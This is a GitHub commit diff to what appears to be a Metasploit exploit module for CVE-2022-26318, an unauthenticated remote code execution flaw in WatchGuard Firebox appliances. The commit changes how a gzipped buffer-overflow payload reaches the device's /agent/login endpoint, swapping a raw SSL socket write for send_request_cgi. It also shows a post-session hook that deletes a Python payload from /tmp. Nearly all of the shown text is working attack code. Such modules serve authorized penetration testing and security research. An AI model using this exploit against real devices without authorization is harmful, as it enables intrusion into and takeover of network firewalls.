Skip to content

Commit 7f02daf

Browse files
committed
use send_request_cgi for payload delivery
1 parent 66e7f3c commit 7f02daf

File tree

1 file changed

+10
-36
lines changed

1 file changed

+10
-36
lines changed

modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb

Lines changed: 10 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -124,40 +124,6 @@ def create_bof_payload
124124
return Zlib.gzip(payload)
125125
end
126126

127-
def create_final_payload
128-
http_payload = "POST /agent/login HTTP/1.1\r\n"
129-
http_payload << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
130-
http_payload << "Accept-Encoding: gzip, deflate\r\n"
131-
http_payload << "Accept: */*\r\n"
132-
http_payload << "Connection: close\r\n"
133-
http_payload << "Content-Encoding: gzip\r\n"
134-
135-
bof_payload = create_bof_payload
136-
137-
http_payload << "Content-Length: #{bof_payload.length}\r\n"
138-
http_payload << "\r\n"
139-
140-
return http_payload.encode + bof_payload
141-
end
142-
143-
def send_payload(payload)
144-
sock = Rex::Socket::SslTcp.create(
145-
'PeerHost' => datastore['RHOST'],
146-
'PeerPort' => datastore['RPORT'],
147-
'Proxies' => datastore['Proxies'],
148-
'Context' => {
149-
'Msf' => framework,
150-
'MsfExploit' => self
151-
}
152-
)
153-
sock.write(payload)
154-
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
155-
fail_with(Failure::UnexpectedReply, "#{e.class} - #{e.message}")
156-
elog(e)
157-
ensure
158-
sock.close if sock
159-
end
160-
161127
def on_new_session(session)
162128
# cleanup python payload script in /tmp
163129
session.run_command('import os')
@@ -174,8 +140,16 @@ def check
174140

175141
def exploit
176142
print_status("#{peer} - Attempting to exploit...")
177-
final_payload = create_final_payload
143+
bof_payload = create_bof_payload
178144
print_status("#{peer} - Sending payload...")
179-
send_payload(final_payload)
145+
send_request_cgi({
146+
'method' => 'POST',
147+
'uri' => normalize_uri(target_uri.path, 'agent', 'login'),
148+
'headers' => {
149+
'Accept-Encoding' => 'gzip, deflate',
150+
'Content-Encoding' => 'gzip'
151+
},
152+
'data' => bof_payload
153+
})
180154
end
181155
end

0 commit comments

Comments
 (0)